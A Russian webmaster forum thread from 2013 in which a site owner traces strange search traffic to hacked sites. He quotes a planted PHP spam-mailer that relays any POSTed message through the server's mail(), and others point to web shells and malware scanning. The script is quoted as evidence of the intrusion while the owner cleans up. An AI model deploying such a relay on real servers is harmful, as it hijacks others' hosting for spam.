PDA

Просмотр полной версии : Странные запросы в топе


BobJob
12.10.2013, 22:06
Приветствую,
последние 2-3 апа начал замечать в метрике странные запросы по которым народ переходит на сайты.
В приложении скрины. Первый скрин с сайта типа форум, второй с сайта по мебели.
В первом случае на форуме нет ни одной такой темы.
На сайте по мебели вряд ли есть что-то про "пса" и "муху")))
Вопрос, что это такое? Откуда такие запросы? При переходе по запросу из метрики адрес сайта выглядит так site.ru/?do=kak-proshel-den-zemledeltsa
Остальные такого же вида.

blackcarrot
12.10.2013, 23:09
дор залили, или спамеры размещают контент, проверьте сайт на вирусы.

про глубину влагалища мощно)

Matman
12.10.2013, 23:45
Про влагалища поведенческое какое хорошее. Оставьте для позиций гуд.
А так по теме либо дор либо накручивают с помощью бирж специальных. есть и такое дело. там какие годно запросы ставишь, будет стата показывать.

oleg_ws
13.10.2013, 02:12
А что на странице, на которую ведут эти ссылки?

BobJob
13.10.2013, 12:59
Все ведут на главную. Нашел скрипты прописанные в хедере в каждом шаблоне сайтов на WP. Почистил, посмотрим что будет.

PS Я конечно рад доп трафику по этим запросам, но вот как на это посмотрит Яндекс, непонятно. Релевантности запросам никакой.

ttrader
17.10.2013, 20:14
Яндекс посмотрит криво и будет АГС.
У меня два ГС заброшенных так подломили, разбираюсь.

BobJob
24.10.2013, 14:33
Нашел кучу левых скриптов в header'ах, все поудалял.
Так же на всех сайтах в public_html и выше на уровень начали появляться файлы для спам рассылок с таким содержимым

<?php
$to = $_POST["to_address"];
$subject = $_POST["subject"];
$message = $_POST["body"];


$result = mail($to, $subject, $message);

if($result)
{
echo 'good';
}
else
{
echo 'error : '.$result;
}
?>

Только удаляю, через пару часов появляются вновь. В каких, наиболее распространенных местах искать дыры?
Буду благодарен за совет.

движки WP joomla opencart ipb, в общем полный зоопарк

kgtu5
24.10.2013, 16:53
BobJob, шелл/ы на одном/всех сайте/сайтах, ай-болит в помощь; затем обязательная смена всех паролей...

BobJob
25.10.2013, 12:26
ок попробуем.
т.е. все сайты выгружать и на локалке тестить?
Просто если айболит запускать на хостинге он по таймауту 502ю выдает

kgtu5
25.10.2013, 12:48
попросите у хостера ssh доступ, либо попросите самого хостера сделать отчет ай-болитом